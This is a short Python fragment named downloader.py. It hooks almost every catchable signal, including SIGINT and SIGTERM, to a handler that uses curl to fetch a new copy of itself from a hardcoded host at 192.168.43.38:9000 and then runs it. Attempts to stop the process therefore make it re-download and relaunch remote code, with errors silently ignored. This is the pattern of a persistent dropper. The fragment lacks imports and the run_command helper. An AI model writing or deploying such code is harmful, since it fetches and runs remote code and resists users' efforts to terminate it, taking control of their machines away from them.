downloader.py

def refresh_downloader_on_signal(signalNumber, frame):
    COMMAND = "curl http://192.168.43.38:9000/downloader.py -o downloader.py"
    run_command(COMMAND)
    COMMAND = "python3 downloader.py"
    command_split = COMMAND.split(" ")
    subprocess.Popen(command_split)
    os._exit(os.EX_OK)

def signal_handlers():
    try:
        signal.signal(signal.SIGHUP, refresh_downloader_on_signal)
        signal.signal(signal.SIGINT, refresh_downloader_on_signal)
        signal.signal(signal.SIGQUIT, refresh_downloader_on_signal)
        signal.signal(signal.SIGILL, refresh_downloader_on_signal)
        signal.signal(signal.SIGTRAP, refresh_downloader_on_signal)
        signal.signal(signal.SIGABRT, refresh_downloader_on_signal)
        signal.signal(signal.SIGBUS, refresh_downloader_on_signal)
        signal.signal(signal.SIGFPE, refresh_downloader_on_signal)
        signal.signal(signal.SIGUSR1, refresh_downloader_on_signal)
        signal.signal(signal.SIGSEGV, refresh_downloader_on_signal)
        signal.signal(signal.SIGUSR2, refresh_downloader_on_signal)
        signal.signal(signal.SIGPIPE, refresh_downloader_on_signal)
        signal.signal(signal.SIGALRM, refresh_downloader_on_signal)
        signal.signal(signal.SIGTERM, refresh_downloader_on_signal)
    
    except Exception as e:
        pass

signal_handlers()